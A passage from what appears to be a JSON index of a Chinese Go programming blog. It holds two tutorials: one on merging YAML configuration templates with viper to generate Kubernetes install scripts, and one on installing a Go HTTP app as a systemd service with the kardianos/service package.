stage环境和生产环境，于是从运维人员部署效率方面考量，我们紧急开发了一个一键安装脚本生成工具，这样运维人员便可以利用该工具结合实际目标环境生成一键安装脚本。这个工具的原理十分简单，如下示意图所示：\n从上图可以知道，我们的工具是基于模板定制最终的配置与安装脚本的，其中：\ntemplates/conf下面是服务配置； templates/manifests下面是服务的k8s yaml脚本; custom/configure文件存储的是针对templates/conf下面服务配置的定制化配置数据； custom/manifests文件存储的是针对templates/manifests下面k8s yaml的定制化配置数据； templates/install.sh则是安装脚本。 custom目录下的两个存储定制化配置的文件是与目标环境紧密相关的。\n提到template，Gopher们首先想到的是Go text/template技术，利用模板语法编写上面templates目录下的模板配置文件。不过基于text/template就需要我们事先将所有需要定制化的变量都一一识别出来，这个量有些大，且不够灵活。\n那我们还可以采用什么技术方案呢？我最终选择了yaml文件合并(包括覆盖与追加)的方案，该方案示意图如下：\n这个示例包含了覆盖和(追加)合并两种情况，我们首先看一下覆盖。\ncustom/manifests.yml中配置覆盖templates/manifests/*.yaml的配置 以templates/manifests/a.yml为例，该模板中metadata.name的默认值为default，但运维人员根据目标环境定制了(customizing)custom/manifests.yml文件。在该文件中，a.yml文件名作为key值，然后将要覆盖的配置项的全路径配置到该文件中(这里的全路径为metadata.name)：\na.yml： metadata: name: foo custom/manifests.yml文件中对namespace name的修改值foo将会覆盖原模板中的default，这在最终的xx_install/manifests/a.yml中会体现出来：\n// a.yml apiVersion: v1 kind: Namespace metadata: name: foo custom/manifests.yml中配置追加到templates/manifests/*.yaml配置中 对于原模板文件中没有而custom中新增的配置，会追加到最终生成的配置文件中，以b.yml为例。原模板目录下的b.yml内容如下：\n// templates/manifests/b.yml log: type: file level: 0 compress: true 这里log下仅有三个子配置项：type、level和compress。\n而运维在custom/manifests.yml为log增加了其他若干种配置，比如access_log、error_log等：\n// custom/manifests.yml b.yml: log: level: 1 compress: false access_log: \u0026quot;access.log\u0026quot; error_log: \u0026quot;error.log\u0026quot; max_age: 3 maxbackups: 7 maxsize: 100 这样，除了level、compress会覆盖原模板中的值之外，其余新增的配置都会追加到生成的xx_install/manifests/b.yml中会体现出来：\n// b.yml log: type: file level: 1 compress: false access_log: \u0026quot;access.log\u0026quot; error_log: \u0026quot;error.log\u0026quot; max_age: 3 maxbackups: 7 maxsize: 100 好了！方案确定了，那如何实现yaml文件的合并呢？Go社区的yaml包要数https://github.com/go-yaml/yaml(Canonical import paths为gopkg.in/yaml.v2或gopkg.in/yaml.v3)最为知名，这个包实现了YAML 1.2规范，可以方便实现Yaml与go struct之间的marshal与unmarshal。不过，yaml包提供的接口都比较初级，要想实现yaml文件的合并，还需要自己做较多额外工作，时间上可能不允许了。那有没有现成可用的工具呢？答案是有的，它就是在Go社区大名鼎鼎的viper！\nviper是由gohugo作者、前Go语言项目组产品经理Steve Francia开发的开源Go应用配置框架。viper不仅支持命令行参数传入配置，还支持从各种类型配置文件、环境变量、远程配置系统(etcd等)等获取配置。除此之外，viper还支持配置文件的merge和对配置文件的写入操作。\n我们是否可以直接使用viper的Merge系列操作呢？答案是不能！为什么呢？因为这与我们上面的设计有关。我们将与环境有关的配置都放入了custom/manifests.yml这一个文件中了，这与一merge就会导致custom/manifests.yml中的配置数据出现在每一个最终生成的templates/xx.yml配置文件中。\n那我们就自行来实现一套merge(覆盖和追加)操作！\n我们先来看驱动merge的main函数:\n// github.com/bigwhite/experiments/tree/master/yml-merge-using-viper/main.go var ( sourceDir string dstDir string ) func init() { flag.StringVar(\u0026amp;sourceDir, \u0026quot;s\u0026quot;, \u0026quot;./\u0026quot;, \u0026quot;template directory path\u0026quot;) flag.StringVar(\u0026amp;dstDir, \u0026quot;d\u0026quot;, \u0026quot;./k8s-install\u0026quot;, \u0026quot;the target directory path in which the generated files are put\u0026quot;) } func main() { var err error flag.Parse() // create target directory if not exist err = os.MkdirAll(dstDir+\u0026quot;/conf\u0026quot;, 0775) if err != nil { fmt.Printf(\u0026quot;create %s error: %s\\n\u0026quot;, dstDir+\u0026quot;/conf\u0026quot;, err) return } err = os.MkdirAll(dstDir+\u0026quot;/manifests\u0026quot;, 0775) if err != nil { fmt.Printf(\u0026quot;create %s error: %s\\n\u0026quot;, dstDir+\u0026quot;/manifests\u0026quot;, err) return } // override manifests files with same config item in custom/manifests.yml, // store the final result to the target directory err = mergeManifestsFiles() if err != nil { fmt.Printf(\u0026quot;override and generate manifests files error: %s\\n\u0026quot;, err) return } fmt.Printf(\u0026quot;override and generate manifests files ok\\n\u0026quot;) } 我们看到main包利用标准库flag包创建了两个命令行参数-s和-d，分别代表存放templates/custom的源路径和存储生成文件的目标路径。进入main函数后，我们首先在目标路径下建立manifests和conf目录用于分别存储相关配置文件（本例中，conf目录下不生成任何文件），然后main函数调用mergeManifestsFiles对源路径下的templates/manifests中的yml文件与custom/manifests.yml进行合并：\n// github.com/bigwhite/experiments/tree/master/yml-merge-using-viper/main.go var ( manifestFiles = []string{ \u0026quot;a.yml\u0026quot;, \u0026quot;b.yml\u0026quot;, } ) func mergeManifestsFiles() error { for _, file := range manifestFiles { // check whether the file exist srcFile := sourceDir + \u0026quot;/templates/manifests/\u0026quot; + file _, err := os.Stat(srcFile) if os.IsNotExist(err) { fmt.Printf(\u0026quot;%s not exist, ignore it\\n\u0026quot;, srcFile) continue } err = mergeConfig(\u0026quot;yml\u0026quot;, sourceDir+\u0026quot;/templates/manifests\u0026quot;, strings.TrimSuffix(file, \u0026quot;.yml\u0026quot;), sourceDir+\u0026quot;/custom\u0026quot;, \u0026quot;manifests\u0026quot;, dstDir+\u0026quot;/manifests/\u0026quot;+file) if err != nil { fmt.Println(\u0026quot;mergeConfig error: \u0026quot;, err) return err } fmt.Printf(\u0026quot;mergeConfig %s ok\\n\u0026quot;, file) } return nil } 我们看到mergeManifestsFiles遍历模板文件，并针对每个文件调用一次真正进行yml文件merge的函数mergeConfig：\n// github.com/bigwhite/experiments/tree/master/yml-merge-using-viper/main.go func mergeConfig(configType, srcPath, srcFile, overridePath, overrideFile, target string) error { v1 := viper.New() v1.SetConfigType(configType) // e.g. \u0026quot;yml\u0026quot; v1.AddConfigPath(srcPath) // file directory v1.SetConfigName(srcFile) // filename(without postfix) err := v1.ReadInConfig() if err != nil { return err } v2 := viper.New() v2.SetConfigType(configType) v2.AddConfigPath(overridePath) v2.SetConfigName(overrideFile) err = v2.ReadInConfig() if err != nil { return err } overrideKeys := v2.AllKeys() // override special keys prefixKey := srcFile + \u0026quot;.\u0026quot; + configType + \u0026quot;.\u0026quot; // e.g \u0026quot;a.yml.\u0026quot; for _, key := range overrideKeys { if !strings.HasPrefix(key, prefixKey) { continue } stripKey := strings.TrimPrefix(key, prefixKey) val := v2.Get(key) v1.Set(stripKey, val) } // write the final result after overriding return v1.WriteConfigAs(target) } 我们看到：mergeConfig函数针对templates/manifests下的文件和custom下的manifests.yml文件创建了两个viper实例(viper.New())并分别加载各自的配置数据。然后遍历custom下manifests.yml中的key，将符合要求的配置项的值set到代表对templates/manifests下文件的viper实例中，最后我们将merge后的viper实例数据写到目标文件中。\n编译运行该生成工具：\n$make go build $./generator mergeConfig a.yml ok mergeConfig b.yml ok override and generate manifests files ok 在默认命令行参数的情况下，文件被生成在k8s-install路径下，我们查看一下生成的文件：\n$cat k8s-install/manifests/a.yml apiversion: v1 kind: Namespace metadata: name: foo $cat k8s-install/manifests/b.yml log: access_log: access.log compress: false error_log: error.log level: 1 max_age: 3 maxbackups: 7 maxsize: 100 type: file 我们看到merge的结果与我们预期的一致(字段顺序不一致没关系，这与viper内部存储key-value时使用go map有关，go map的遍历顺序是随机的)。\n不过细心的朋友可能会发现一处问题：那就是a.yml中原先的apiVersion在结果文件中变成了小写的apiversion，这会a.yml在提交给k8s时校验失败！\n为什么会这样呢？viper官方给出的说明如下(机翻)：\nViper合并了来自不同来源的配置，其中许多配置是不区分大小写的，或者使用与其他来源不同的大小写（例如，env vars）。为了在使用多个资源时提供最佳体验，我们决定让所有按键不区分大小写。 已经有一些人试图实现大小写敏感，但不幸的是，这不是那么简单的事情。我们可能会在Viper v2中试着实现它。。。。 好吧，既然官方说在v2可能支持，但v2又遥遥无期，我们就用viper的fork版本来解决这个问题吧！开发者lnashier曾因这个大小写问题fork过一份viper代码并fix了这个问题，虽然比较old(且可能改的不全面)，但能满足我们的要求就行！我们来试试将spf13/viper换为lnashier/viper，并重新构建和执行generator：\n$go mod tidy go: finding module for package github.com/lnashier/viper go: found github.com/lnashier/viper in github.com/lnashier/viper v0.0.0-20180730210402-cc7336125d12 $make clean rm -fr generator k8s-install $make go build $./generator mergeConfig a.yml ok mergeConfig b.yml ok override and generate manifests files ok $cat k8s-install/manifests/a.yml apiVersion: v1 kind: Namespace metadata: name: foo $cat k8s-install/manifests/b.yml log: access_log: access.log compress: false error_log: error.log level: 1 max_age: 3 maxbackups: 7 maxsize: 100 type: file 我们看到更换为lnashier/viper后，a.yml中的apiVersion这个key没有再被改为小写。\n这个工具基本可以使用了。但是这个工具是否没有问题了呢？很遗憾不是的！当generator面对下面的两种形式的配置文件时就会生成错误的文件：\n//c.yml apiVersion: v1 data: .dockerconfigjson: xxxxyyyyyzzz== kind: Secret type: kubernetes.io/dockerconfigjson metadata: name: mysecret namespace: foo 和\n//d.yml apiVersion: v1 kind: ConfigMap metadata: name: nginx-conf namespace: foo data: my-nginx.conf: | server { listen 80; client_body_timeout 60000; client_max_body_size 1024m; send_timeout 60000; proxy_headers_hash_bucket_size 1024; proxy_headers_hash_max_size 4096; proxy_read_timeout 60000; location /dashboard { proxy_pass http://localhost:8081; } } 这两个问题就比较棘手了，lnashier/viper也无法解决。我也只能fork lnashier/viper到bigwhite/viper自己解决这个问题，并且像d.yml这样的配置形式十分特化，不具有通用性，因此bigwhite/viper并不具有通用性，这里就不细说了，有兴趣的朋友可以自行阅读代码(commit diff)来查看解决上述问题的方法。\n本文涉及的代码可以从这里下载。\n后记：\nkustomize kustomize是k8s官方工具，它可以让你基于k8s resource模板YAML文件(类似本文的templates/manifests目录下的文件)并结合kustomization.yaml(类似custom/manifests.yaml)为多种目的定制YAML文件，原始的YAML不会进行任何改动。\n不过它的目标仅仅是k8s相关的yaml文件，对于我们的业务服务配置可能无能为力。\nCUE数据配置语言 CUE是这两年流行起来的一种强大的声明性配置语言，它由前Go核心团队成员Marcel van Lohuizen创建，他曾与人合作创建了Borg配置语言（BCL）–在谷歌用于部署所有应用程序的语言。CUE是谷歌多年编写配置语言经验的结晶，旨在改善开发者的体验，同时避免一些陷阱。它是JSON的超集且还具有额外的功能特性。Docker之父Solomon Hykes的新创业项目dagger大量使用CUE，阿里力推的企业云原生应用管理平台kubevela也是CUE的重度用户。\n关于如何使用CUE来替代我上述的方案，还待后续深入研究。\n“Gopher部落”知识星球旨在打造一个精品Go学习和进阶社群！高品质首发Go技术文章，“三天”首发阅读权，每年两期Go语言发展现状分析，每天提前1小时阅读到新鲜的Gopher日报，网课、技术专栏、图书内容前瞻，六小时内必答保证等满足你关于Go语言生态的所有需求！2022年，Gopher部落全面改版，将持续分享Go语言与Go应用领域的知识、技巧与实践，并增加诸多互动形式。欢迎大家加入！\n我爱发短信：企业级短信平台定制开发专家 https://tonybai.com/。smspush : 可部署在企业内部的定制化短信平台，三网覆盖，不惧大并发接入，可定制扩展； 短信内容你来定，不再受约束, 接口丰富，支持长短信，签名可选。2020年4月8日，中国三大电信运营商联合发布《5G消息白皮书》，51短信平台也会全新升级到“51商用消息平台”，全面支持5G RCS消息。\n著名云主机服务厂商DigitalOcean发布最新的主机计划，入门级Droplet配置升级为：1 core CPU、1G内存、25G高速SSD，价格5$/月。有使用DigitalOcean需求的朋友，可以打开这个链接地址：https://m.do.co/c/bff6eed92687 开启你的DO主机之路。\nGopher Daily(Gopher每日新闻)归档仓库 – https://github.com/bigwhite/gopherdaily\n我的联系方式：\n微博：https://weibo.com/bigwhite20xx 博客：tonybai.com github: https://github.com/bigwhite 商务合作方式：撰稿、出书、培训、在线课程、合伙创业、咨询、广告合作。\n","permalink":"https://tonybai.com/2022/09/20/use-viper-to-do-merge-of-yml-configuration-files/","summary":"\u003cp\u003e\u003cimg alt=\"Image 1\" loading=\"lazy\" src=\"/images/wp-content/uploads/use-viper-to-do-merge-of-yml-configuration-files-1.png\"\u003e\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"https://tonybai.com/2022/09/20/use-viper-to-do-merge-of-yml-configuration-files\"\u003e本文永久链接\u003c/a\u003e – \u003ca href=\"https://tonybai.com/2022/09/20/use-viper-to-do-merge-of-yml-configuration-files\"\u003ehttps://tonybai.com/2022/09/20/use-viper-to-do-merge-of-yml-configuration-files\u003c/a\u003e\u003c/p\u003e\n\u003cp\u003e作为小厂，我们的基础设施还不够完备，项目经理中秋节通知我们的系统近期要上second-to-last stage环境和生产环境，于是从运维人员部署效率方面考量，我们紧急开发了一个一键安装脚本生成工具，这样运维人员便可以利用该工具结合实际目标环境生成一键安装脚本。这个工具的原理十分简单，如下示意图所示：\u003c/p\u003e","title":"使用viper实现yaml配置文件的合并"},{"content":"\n本文永久链接 – https://tonybai.com/2022/09/12/how-to-install-a-go-app-as-a-system-service-like-gitlab-runner\n在《让reviewdog支持gitlab-push-commit，守住代码质量下限》一文中，gitlab-runner(一个Go语言开发的应用)通过自身提供的install命令将自己安装为了一个系统服务(如下面步骤)：\n# Create a GitLab CI user sudo useradd --comment 'GitLab Runner' --create-home gitlab-runner --shell /bin/bash # Install and run as service sudo gitlab-runner install --user=gitlab-runner --working-directory=/home/gitlab-runner sudo gitlab-runner start 在主流新版linux上(其他os或linux上的旧版守护服务管理器如sysvinit、upstart等，我们暂不care)，系统服务就是由systemd管理的daemon process(守护进程)。\nsystemd是什么？linux主机上电后，os内核被加载并启动，os内核完成初始化以后，由内核第一个启动的程序是init程序，其PID(进程ID)为1，它为系统里所有进程的“祖先”，systemd便是主流新版linux中的那个init程序，它负责在主机启动后拉起所有安装为系统服务的程序。\n这些被systemd拉起的服务程序以**守护进程(daemon process)**的形式运行，那什么又是守护进程呢？《UNIX环境高级编程3rd(Advanced Programming in the UNIX Environment)》一书中是这样定义的：\nDaemons are processes that live for a long time. They are often started when the system is bootstrapped and terminate only when the system is shut down. Because they don’t have a controlling terminal, we say that they run in the background. UNIX systems have numerous daemons that perform day-to-day activities. 守护进程是长期存在的进程。它们通常在系统启动时被启动，并在系统关闭时才终止。因为它们没有控制终端，我们说它们是在后台运行的。UNIX系统有许多执行日常活动的守护进程。 该书还提供了一个用户层应用程序将自己变为守护进程的标准步骤(编码规则(coding rules))，并给出了一个C语言示例：\n#include \u0026quot;apue.h\u0026quot; #include \u0026lt;syslog.h\u0026gt; #include \u0026lt;fcntl.h\u0026gt; #include \u0026lt;sys/resource.h\u0026gt; void daemonize(const char *cmd) { int i, fd0, fd1, fd2; pid_t pid; struct rlimit rl; struct sigaction sa; /* * Clear file creation mask. */ umask(0); /* * Get maximum number of file descriptors. */ if (getrlimit(RLIMIT_NOFILE, \u0026amp;rl) \u0026lt; 0) err_quit(\u0026quot;%s: can’t get file limit\u0026quot;, cmd); /* * Become a session leader to lose controlling TTY. */ if ((pid = fork()) \u0026lt; 0) err_quit(\u0026quot;%s: can’t fork\u0026quot;, cmd); else if (pid != 0) /* parent */ exit(0); setsid(); /* * Ensure future opens won’t allocate controlling TTYs. */ sa.sa_handler = SIG_IGN; sigemptyset(\u0026amp;sa.sa_mask); sa.sa_flags = 0; if (sigaction(SIGHUP, \u0026amp;sa, NULL) \u0026lt; 0) err_quit(\u0026quot;%s: can’t ignore SIGHUP\u0026quot;, cmd); if ((pid = fork()) \u0026lt; 0) err_quit(\u0026quot;%s: can’t fork\u0026quot;, cmd); else if (pid != 0) /* parent */ exit(0); /* * Change the current working directory to the root so * we won’t prevent file systems from being unmounted. */ if (chdir(\u0026quot;/\u0026quot;) \u0026lt; 0) err_quit(\u0026quot;%s: can’t change directory to /\u0026quot;, cmd); /* * Close all open file descriptors. */ if (rl.rlim_max == RLIM_INFINITY) rl.rlim_max = 1024; for (i = 0; i \u0026lt; rl.rlim_max; i++) close(i); /* * Attach file descriptors 0, 1, and 2 to /dev/null. */ fd0 = open(\u0026quot;/dev/null\u0026quot;, O_RDWR); fd1 = dup(0); fd2 = dup(0); /* * Initialize the log file. */ openlog(cmd, LOG_CONS, LOG_DAEMON); if (fd0 != 0 || fd1 != 1 || fd2 != 2) { syslog(LOG_ERR, \u0026quot;unexpected file descriptors %d %d %d\u0026quot;, fd0, fd1, fd2); exit(1); } } 那么，Go应用程序是否可以参考上面的转换步骤将自己转换为一个守护进程呢？很遗憾！Go团队说很难做到。Go社区倒是有很多第三方的方案，比如像go-daemon这样的第三方实现，不过我并没有验证过这些方案，不保证完全ok。\nGo团队推荐通过像systemd这样的init system来实现Go程序的守护进程转换。gitlab-runner就是将自己安装为system服务，并由systemd对其进行管理的。\n题外话：其实，自从有了容器技术(比如：docker)后，daemon service(守护进程服务)的需求似乎减少了。因为使用-d选项运行容器，应用本身就运行于后台，使用–restart=always/on-failure选项，容器引擎(比如docker engine)会帮我们管理service，并在service宕掉后重启service。\n那么，我们如何像gitlab-runner那样将自己安装为一个systemd service呢？我们继续向下看。\n注意：这里只是将Go应用安装成一个systemd service，并不是自己将自己转换为守护进程，安装为systemd service本身是可行的，也是安全的。\n翻看gitlab-runner源码，你会发现gitlab-runner将自己安装为系统服务全依仗于github.com/kardianos/service这个Go包，这个包是Go标准库database包维护者之一Daniel Theophanes开源的系统服务操作包，该包屏蔽了os层的差异，为开发人员提供了相对简单的Service操作接口，包括下面这些控制动作：\n// github.com/kardianos/service/blob/master/service.go var ControlAction = [5]string{\u0026quot;start\u0026quot;, \u0026quot;stop\u0026quot;, \u0026quot;restart\u0026quot;, \u0026quot;install\u0026quot;, \u0026quot;uninstall\u0026quot;} 好了，下面我们就用一个例子myapp来介绍一下如何利用kardianos/service包让你的Go应用具备将自己安装为system service的能力。\nmyapp是一个http server，它在某个端口上提供服务，当收到请求时，返回”Welcome”字样的应答：\n// https://github.com/bigwhite/experiments/blob/master/system-service/main.go func run(config string) error { ... ... http.HandleFunc(\u0026quot;/\u0026quot;, func(w http.ResponseWriter, r *http.Request) { fmt.Printf(\u0026quot;[%s]: receive a request from: %s\\n\u0026quot;, c.Server.Addr, r.RemoteAddr) w.Write([]byte(\u0026quot;Welcome\u0026quot;)) }) fmt.Printf(\u0026quot;listen on %s\\n\u0026quot;, c.Server.Addr) return http.ListenAndServe(c.Server.Addr, nil) } 现在我们要为myapp增加一些能力，让它支持将自己安装为systemd service，并可以通过subcommand启动(start)、停止(stop)和卸载(uninstall)systemd service。\n我们首先通过os包和flag包为该程序增加subcommand和其参数的解析能力。我们不使用第三方命令行参数解析包，只是用标准库的flag包。由于myapp支持subcommand，我们需要为每个带命令行参数的subcommand单独申请一个FlagSet实例，如下面代码中的installCommand和runCommand。每个subcommand的命令行参数也要绑定到各自subcommand对应的FlagSet实例上，比如下面代码init函数体中的内容。\n另外由于使用了subcommand，默认的flag.Usage不再能满足我们的要求了，我们需要自己实现一个usage函数并赋值给flag.Usage：\n// https://github.com/bigwhite/experiments/blob/master/system-service/main.go var ( installCommand = flag.NewFlagSet(\u0026quot;install\u0026quot;, flag.ExitOnError) runCommand = flag.NewFlagSet(\u0026quot;run\u0026quot;, flag.ExitOnError) user string workingdir string config string ) const ( defaultConfig = \u0026quot;/etc/myapp/config.ini\u0026quot; ) func usage() { s := ` USAGE: myapp command [command options] COMMANDS: install install service uninstall uninstall service start start service stop stop service run run service OPTIONS: -config string config file of the service (default \u0026quot;/etc/myapp/config.ini\u0026quot;) -user string user account to run the service -workingdir string working directory of the service` fmt.Println(s) } func init() { installCommand.StringVar(\u0026amp;user, \u0026quot;user\u0026quot;, \u0026quot;\u0026quot;, \u0026quot;user account to run the service\u0026quot;) installCommand.StringVar(\u0026amp;workingdir, \u0026quot;workingdir\u0026quot;, \u0026quot;\u0026quot;, \u0026quot;working directory of the service\u0026quot;) installCommand.StringVar(\u0026amp;config, \u0026quot;config\u0026quot;, \u0026quot;/etc/myapp/config.ini\u0026quot;, \u0026quot;config file of the service\u0026quot;) runCommand.StringVar(\u0026amp;config, \u0026quot;config\u0026quot;, defaultConfig, \u0026quot;config file of the service\u0026quot;) flag.Usage = usage } func main() { var err error n := len(os.Args) if n \u0026lt;= 1 { fmt.Printf(\u0026quot;invalid args\\n\u0026quot;) flag.Usage() return } subCmd := os.Args[1] // the second arg // get Config c, err := getServiceConfig(subCmd) if err != nil { fmt.Printf(\u0026quot;get service config error: %s\\n\u0026quot;, err) return } ... ... } 这些都完成后，我们在getServiceConfig函数中获取即将安装为systemd service的本服务的元配置信息：\n// https://github.com/bigwhite/experiments/blob/master/system-service/config.go func getServiceConfig(subCmd string) (*service.Config, error) { c := service.Config{ Name: \u0026quot;myApp\u0026quot;, DisplayName: \u0026quot;Go Daemon Service Demo\u0026quot;, Description: \u0026quot;This is a Go daemon service demo\u0026quot;, Executable: \u0026quot;/usr/local/bin/myapp\u0026quot;, Dependencies: []string{\u0026quot;After=network.target syslog.target\u0026quot;}, WorkingDirectory: \u0026quot;\u0026quot;, Option: service.KeyValue{ \u0026quot;Restart\u0026quot;: \u0026quot;always\u0026quot;, // Restart=always }, } switch subCmd { case \u0026quot;install\u0026quot;: installCommand.Parse(os.Args[2:]) if user == \u0026quot;\u0026quot; { fmt.Printf(\u0026quot;error: user should be provided when install service\\n\u0026quot;) return nil, errors.New(\u0026quot;invalid user\u0026quot;) } if workingdir == \u0026quot;\u0026quot; { fmt.Printf(\u0026quot;error: workingdir should be provided when install service\\n\u0026quot;) return nil, errors.New(\u0026quot;invalid workingdir\u0026quot;) } c.UserName = user c.WorkingDirectory = workingdir // arguments // ExecStart=/usr/local/bin/myapp \u0026quot;run\u0026quot; \u0026quot;-config\u0026quot; \u0026quot;/etc/myapp/config.ini\u0026quot; c.Arguments = append(c.Arguments, \u0026quot;run\u0026quot;, \u0026quot;-config\u0026quot;, config) case \u0026quot;run\u0026quot;: runCommand.Parse(os.Args[2:]) // parse config } return \u0026amp;c, nil } 这里要注意的是service.Config中的Option和Arguments，前者用于在systemd service unit配置文件中放置任意的键值对（比如这里的Restart=always），而Arguments则会被组成为ExecStart键的值，该值会在start service时传入使用。\n接下来，我们便利用service包基于加载的Config创建操作服务的实例(srv)，然后将它和subCommand一并传入runServiceControl实现对systemd service的控制(如下面代码)。\n// https://github.com/bigwhite/experiments/blob/master/system-service/main.go func main() { // ... ... c, err := getServiceConfig(subCmd) if err != nil { fmt.Printf(\u0026quot;get service config error: %s\\n\u0026quot;, err) return } prg := \u0026amp;NullService{} srv, err := service.New(prg, c) if err != nil { fmt.Printf(\u0026quot;new service error: %s\\n\u0026quot;, err) return } err = runServiceControl(srv, subCmd) if err != nil { fmt.Printf(\u0026quot;%s operation error: %s\\n\u0026quot;, subCmd, err) return } fmt.Printf(\u0026quot;%s operation ok\\n\u0026quot;, subCmd) return } func runServiceControl(srv service.Service, subCmd string) error { switch subCmd { case \u0026quot;run\u0026quot;: return run(config) default: return service.Control(srv, subCmd) } } 好了，代码已经完成！现在让我们来验证一下myapp的能力。\n我们先来完成编译和二进制程序的安装：\n$make go build -o myapp main.go config.go $sudo make install cp ./myapp /usr/local/bin $sudo make install-cfg mkdir -p /etc/myapp cp ./config.ini /etc/myapp 接下来，我们就来将myapp安装为systemd的服务：\n$sudo ./myapp install -user tonybai -workingdir /home/tonybai install operation ok $sudo systemctl status myApp ● myApp.service - This is a Go daemon service demo Loaded: loaded (/etc/systemd/system/myApp.service; enabled; vendor preset: enabled) Active: inactive (dead) 我们看到安装后，myApp已经成为了myApp.service，并处于inactive状态，其systemd unit文件/etc/systemd/system/myApp.service内容如下：\n$sudo cat /etc/systemd/system/myApp.service [Unit] Description=This is a Go daemon service demo ConditionFileIsExecutable=/usr/local/bin/myapp After=network.target syslog.target [Service] StartLimitInterval=5 StartLimitBurst=10 ExecStart=/usr/local/bin/myapp \u0026quot;run\u0026quot; \u0026quot;-config\u0026quot; \u0026quot;/etc/myapp/config.ini\u0026quot; WorkingDirectory=/home/tonybai User=tonybai Restart=always RestartSec=120 EnvironmentFile=-/etc/sysconfig/myApp [Install] WantedBy=multi-user.target 接下来，我们来启动一下该服务：\n$sudo ./myapp start start operation ok $sudo systemctl status myApp ● myApp.service - This is a Go daemon service demo Loaded: loaded (/etc/systemd/system/myApp.service; enabled; vendor preset: enabled) Active: active (running) since Fri 2022-09-09 23:30:01 CST; 5s ago Main PID: 623859 (myapp) Tasks: 6 (limit: 12651) Memory: 1.3M CGroup: /system.slice/myApp.service └─623859 /usr/local/bin/myapp run -config /etc/myapp/config.ini Sep 09 23:30:01 tonybai systemd[1]: Started This is a Go daemon service demo. Sep 09 23:30:01 tonybai myapp[623859]: listen on :65432 我们看到myApp服务成功启动，并在65432这个端口上监听！\n我们利用curl向这个端口发送一个请求：\n$curl localhost:65432 Welcome $sudo systemctl status myApp ● myApp.service - This is a Go daemon service demo Loaded: loaded (/etc/systemd/system/myApp.service; enabled; vendor preset: enabled) Active: active (running) since Fri 2022-09-09 23:30:01 CST; 1min 27s ago Main PID: 623859 (myapp) Tasks: 6 (limit: 12651) Memory: 1.4M CGroup: /system.slice/myApp.service └─623859 /usr/local/bin/myapp run -config /etc/myapp/config.ini Sep 09 23:30:01 tonybai systemd[1]: Started This is a Go daemon service demo. Sep 09 23:30:01 tonybai myapp[623859]: listen on :65432 Sep 09 23:31:24 tonybai myapp[623859]: [:65432]: receive a request from: 127.0.0.1:10348 我们看到myApp服务运行正常并返回预期应答结果。\n现在我们利用stop subcommand停掉该服务：\n$sudo systemctl status myApp ● myApp.service - This is a Go daemon service demo Loaded: loaded (/etc/systemd/system/myApp.service; enabled; vendor preset: enabled) Active: inactive (dead) since Fri 2022-09-09 23:33:03 CST; 3s ago Process: 623859 ExecStart=/usr/local/bin/myapp run -config /etc/myapp/config.ini (code=killed, signal=TERM) Main PID: 623859 (code=killed, signal=TERM) Sep 09 23:30:01 tonybai systemd[1]: Started This is a Go daemon service demo. Sep 09 23:30:01 tonybai myapp[623859]: listen on :65432 Sep 09 23:31:24 tonybai myapp[623859]: [:65432]: receive a request from: 127.0.0.1:10348 Sep 09 23:33:03 tonybai systemd[1]: Stopping This is a Go daemon service demo... Sep 09 23:33:03 tonybai systemd[1]: myApp.service: Succeeded. Sep 09 23:33:03 tonybai systemd[1]: Stopped This is a Go daemon service demo. 修改配置/etc/myapp/config.ini（将监听端口从65432改为65431），然后再重启该服务：\n$sudo cat /etc/myapp/config.ini [server] addr=\u0026quot;:65431\u0026quot; $sudo ./myapp start start operation ok $sudo systemctl status myApp ● myApp.service - This is a Go daemon service demo Loaded: loaded (/etc/systemd/system/myApp.service; enabled; vendor preset: enabled) Active: active (running) since Fri 2022-09-09 23:34:38 CST; 3s ago Main PID: 624046 (myapp) Tasks: 6 (limit: 12651) Memory: 1.4M CGroup: /system.slice/myApp.service └─624046 /usr/local/bin/myapp run -config /etc/myapp/config.ini Sep 09 23:34:38 tonybai systemd[1]: Started This is a Go daemon service demo. Sep 09 23:34:38 tonybai myapp[624046]: listen on :65431 从systemd的状态日志中我们看到myApp服务启动成功，并改为监听65431端口，我们访问一下该端口：\n$curl localhost:65431 Welcome $curl localhost:65432 curl: (7) Failed to connect to localhost port 65432: Connection refused 从上述结果可以看出，我们的配置更新和重启都是成功的！\n我们亦可以使用myapp的uninstall功能从systemd中卸载该服务：\n$sudo ./myapp uninstall uninstall operation ok $sudo systemctl status myApp Unit myApp.service could not be found. 好了，到这里我们看到：在文章开始处提出的给Go应用增加将自己安装为systemd service的能力的目标已经顺利实现了。\n最后小结一下：service包让我们的程序有了将自己安装为system service的能力。它也可以让你开发出将其他程序安装为一个system service的能力，不过这个作业就留给大家了:)。大家如有问题，欢迎在评论区留言。\n本文涉及的代码可以在这里下载。\n“Gopher部落”知识星球旨在打造一个精品Go学习和进阶社群！高品质首发Go技术文章，“三天”首发阅读权，每年两期Go语言发展现状分析，每天提前1小时阅读到新鲜的Gopher日报，网课、技术专栏、图书内容前瞻，六小时内必答保证等满足你关于Go语言生态的所有需求！2022年，Gopher部落全面改版，将持续分享Go语言与Go应用领域的知识、技巧与实践，并增加诸多互动形式。欢迎大家加入！\n我爱发短信：企业级短信平台定制开发专家 https://tonybai.com/。smspush : 可部署在企业内部的定制化短信平台，三网覆盖，不惧大并发接入，可定制扩展； 短信内容你来定，不再受约束, 接口丰富，支持长短信，签名可选。2020年4月8日，中国三大电信运营商联合发布《5G消息白皮书》，51短信平台也会全新升级到“51商用消息平台”，全面支持5G RCS消息。\n著名云主机服务厂商DigitalOcean发布最新的主机计划，入门级Droplet配置升级为：1 core CPU、1G内存、25G高速SSD，价格5$/月。有使用DigitalOcean需求的朋友，可以打开这个链接地址：https://m.do.co/c/bff6eed92687 开启你的DO主机之路。\nGopher Daily(Gopher每日新闻)归档仓库 – https://github.com/bigwhite/gopherdaily\n我的联系方式：\n微博：https://weibo.com/bigwhite20xx 博客：tonybai.com github: https://github.com/bigwhite 商务合作方式：撰稿、出书、培训、在线课程、合伙创业、咨询、广告合作。\n","permalink":"https://tonybai.com/2022/09/12/how-to-install-a-go-app-as-a-system-service-like-gitlab-runner/","summary":"\u003cp\u003e\u003cimg alt=\"Image 1\" loading=\"lazy\" src=\"/images/wp-content/uploads/how-to-install-a-go-app-as-a-system-service-like-gitlab-runner-1.png\"\u003e\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"https://tonybai.com/2022/09/12/how-to-install-a-go-app-as-a-system-service-like-gitlab-runner\"\u003e本文永久链接\u003c/a\u003e – \u003ca 